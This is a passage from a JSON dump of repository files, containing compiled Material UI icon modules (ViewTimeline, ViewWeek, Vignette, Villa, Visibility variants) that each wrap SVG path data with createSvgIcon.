    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 14H7c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m3-4h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m3-4h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ViewTimelineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewTimelineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 14H7c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m3-4h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m3-4h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ViewTimelineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewTimelineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-9 14H6v-2h6zm3-4H9v-2h6zm3-4h-6V7h6z\"\n}), 'ViewTimelineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewTimelineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-9 14H6v-2h6zm3-4H9v-2h6zm3-4h-6V7h6z\"\n}), 'ViewTimelineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewTimelineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm7-12h6v2h-6zm-3 4h6v2H9zm-3 4h6v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15h6v2H6zm6-8h6v2h-6zm-3 4h6v2H9z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"2\")], 'ViewTimelineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewTimelineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm7-12h6v2h-6zm-3 4h6v2H9zm-3 4h6v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15h6v2H6zm6-8h6v2h-6zm-3 4h6v2H9z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"2\")], 'ViewTimelineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewWeek.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.33 20H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h1.33c1.1 0 2 .9 2 2v12c0 1.1-.89 2-2 2M22 18V6c0-1.1-.9-2-2-2h-1.33c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2H20c1.11 0 2-.9 2-2m-7.33 0V6c0-1.1-.9-2-2-2h-1.33c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h1.33c1.1 0 2-.9 2-2\"\n}), 'ViewWeek');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewWeek.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.33 20H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h1.33c1.1 0 2 .9 2 2v12c0 1.1-.89 2-2 2M22 18V6c0-1.1-.9-2-2-2h-1.33c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2H20c1.11 0 2-.9 2-2m-7.33 0V6c0-1.1-.9-2-2-2h-1.33c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h1.33c1.1 0 2-.9 2-2\"\n}), 'ViewWeek');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewWeekOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 18H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4z\"\n}), 'ViewWeekOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewWeekOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 18H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4z\"\n}), 'ViewWeekOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewWeekRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.33 20H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h1.33c1.1 0 2 .9 2 2v12c0 1.1-.89 2-2 2M22 18V6c0-1.1-.9-2-2-2h-1.33c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2H20c1.11 0 2-.9 2-2m-7.33 0V6c0-1.1-.9-2-2-2h-1.33c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h1.33c1.1 0 2-.9 2-2\"\n}), 'ViewWeekRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewWeekRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.33 20H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h1.33c1.1 0 2 .9 2 2v12c0 1.1-.89 2-2 2M22 18V6c0-1.1-.9-2-2-2h-1.33c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2H20c1.11 0 2-.9 2-2m-7.33 0V6c0-1.1-.9-2-2-2h-1.33c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h1.33c1.1 0 2-.9 2-2\"\n}), 'ViewWeekRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewWeekSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.33 20H2V4h5.33zM22 20V4h-5.33v16zm-7.33 0V4H9.33v16z\"\n}), 'ViewWeekSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewWeekSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.33 20H2V4h5.33zM22 20V4h-5.33v16zm-7.33 0V4H9.33v16z\"\n}), 'ViewWeekSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewWeekTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 18H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 18H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4z\"\n}, \"1\")], 'ViewWeekTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewWeekTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 18H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 18H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4z\"\n}, \"1\")], 'ViewWeekTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Vignette.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 15c-4.42 0-8-2.69-8-6s3.58-6 8-6 8 2.69 8 6-3.58 6-8 6\"\n}), 'Vignette');"
  },
  {
    "path": "packages/mui-icons-material/lib/Vignette.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 15c-4.42 0-8-2.69-8-6s3.58-6 8-6 8 2.69 8 6-3.58 6-8 6\"\n}), 'Vignette');"
  },
  {
    "path": "packages/mui-icons-material/lib/VignetteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5v14H3V5zm0-2H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 5c3.25 0 6 1.83 6 4s-2.75 4-6 4-6-1.83-6-4 2.75-4 6-4m0-2c-4.42 0-8 2.69-8 6s3.58 6 8 6 8-2.69 8-6-3.58-6-8-6\"\n}), 'VignetteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VignetteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5v14H3V5zm0-2H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 5c3.25 0 6 1.83 6 4s-2.75 4-6 4-6-1.83-6-4 2.75-4 6-4m0-2c-4.42 0-8 2.69-8 6s3.58 6 8 6 8-2.69 8-6-3.58-6-8-6\"\n}), 'VignetteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VignetteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 15c-4.42 0-8-2.69-8-6s3.58-6 8-6 8 2.69 8 6-3.58 6-8 6\"\n}), 'VignetteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VignetteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 15c-4.42 0-8-2.69-8-6s3.58-6 8-6 8 2.69 8 6-3.58 6-8 6\"\n}), 'VignetteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VignetteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v18h22zM12 18c-4.42 0-8-2.69-8-6s3.58-6 8-6 8 2.69 8 6-3.58 6-8 6\"\n}), 'VignetteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VignetteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v18h22zM12 18c-4.42 0-8-2.69-8-6s3.58-6 8-6 8 2.69 8 6-3.58 6-8 6\"\n}), 'VignetteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VignetteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18V5H3zm9-13c4.42 0 8 2.69 8 6s-3.58 6-8 6-8-2.69-8-6 3.58-6 8-6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zm-9-1c4.42 0 8-2.69 8-6s-3.58-6-8-6-8 2.69-8 6 3.58 6 8 6m0-10c3.25 0 6 1.83 6 4s-2.75 4-6 4-6-1.83-6-4 2.75-4 6-4\"\n}, \"1\")], 'VignetteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VignetteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18V5H3zm9-13c4.42 0 8 2.69 8 6s-3.58 6-8 6-8-2.69-8-6 3.58-6 8-6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zm-9-1c4.42 0 8-2.69 8-6s-3.58-6-8-6-8 2.69-8 6 3.58 6 8 6m0-10c3.25 0 6 1.83 6 4s-2.75 4-6 4-6-1.83-6-4 2.75-4 6-4\"\n}, \"1\")], 'VignetteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Villa.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21H3V8l13-5v7H7zm12-11c-1.1 0-2 .9-2 2H9v9h5v-5h2v5h5v-9c0-1.1-.9-2-2-2\"\n}), 'Villa');"
  },
  {
    "path": "packages/mui-icons-material/lib/Villa.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21H3V8l13-5v7H7zm12-11c-1.1 0-2 .9-2 2H9v9h5v-5h2v5h5v-9c0-1.1-.9-2-2-2\"\n}), 'Villa');"
  },
  {
    "path": "packages/mui-icons-material/lib/VillaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10c-1.1 0-2 .9-2 2h-1V3L3 8v13h18v-9c0-1.1-.9-2-2-2M5 9.37l9-3.46V12H9v7H5zM19 19h-3v-3h-2v3h-3v-5h8z\"\n}), 'VillaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VillaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10c-1.1 0-2 .9-2 2h-1V3L3 8v13h18v-9c0-1.1-.9-2-2-2M5 9.37l9-3.46V12H9v7H5zM19 19h-3v-3h-2v3h-3v-5h8z\"\n}), 'VillaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VillaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21H4c-.55 0-1-.45-1-1V8.69c0-.42.25-.79.64-.94l11-4.23c.66-.25 1.36.23 1.36.94V10H8c-.55 0-1 .45-1 1zm10-9h-7c-.55 0-1 .45-1 1v7c0 .55.45 1 1 1h4v-4c0-.55.45-1 1-1s1 .45 1 1v4h4c.55 0 1-.45 1-1v-8c0-1.1-.9-2-2-2s-2 .9-2 2\"\n}), 'VillaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VillaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21H4c-.55 0-1-.45-1-1V8.69c0-.42.25-.79.64-.94l11-4.23c.66-.25 1.36.23 1.36.94V10H8c-.55 0-1 .45-1 1zm10-9h-7c-.55 0-1 .45-1 1v7c0 .55.45 1 1 1h4v-4c0-.55.45-1 1-1s1 .45 1 1v4h4c.55 0 1-.45 1-1v-8c0-1.1-.9-2-2-2s-2 .9-2 2\"\n}), 'VillaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VillaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21H3V8l13-5v7H7zm12-11c-1.1 0-2 .9-2 2H9v9h5v-5h2v5h5v-9c0-1.1-.9-2-2-2\"\n}), 'VillaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VillaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21H3V8l13-5v7H7zm12-11c-1.1 0-2 .9-2 2H9v9h5v-5h2v5h5v-9c0-1.1-.9-2-2-2\"\n}), 'VillaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VillaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 9.37 9-3.46V12H9v7H5zM19 19h-3v-3h-2v3h-3v-5h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10c-1.1 0-2 .9-2 2h-1V3L3 8v13h18v-9c0-1.1-.9-2-2-2M5 9.37l9-3.46V12H9v7H5zM19 19h-3v-3h-2v3h-3v-5h8z\"\n}, \"1\")], 'VillaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VillaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 9.37 9-3.46V12H9v7H5zM19 19h-3v-3h-2v3h-3v-5h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10c-1.1 0-2 .9-2 2h-1V3L3 8v13h18v-9c0-1.1-.9-2-2-2M5 9.37l9-3.46V12H9v7H5zM19 19h-3v-3h-2v3h-3v-5h8z\"\n}, \"1\")], 'VillaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Visibility.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5M12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'Visibility');"
  },
  {
    "path": "packages/mui-icons-material/lib/Visibility.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5M12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'Visibility');"
  },
  {
    "path": "packages/mui-icons-material/lib/VisibilityOff.js",
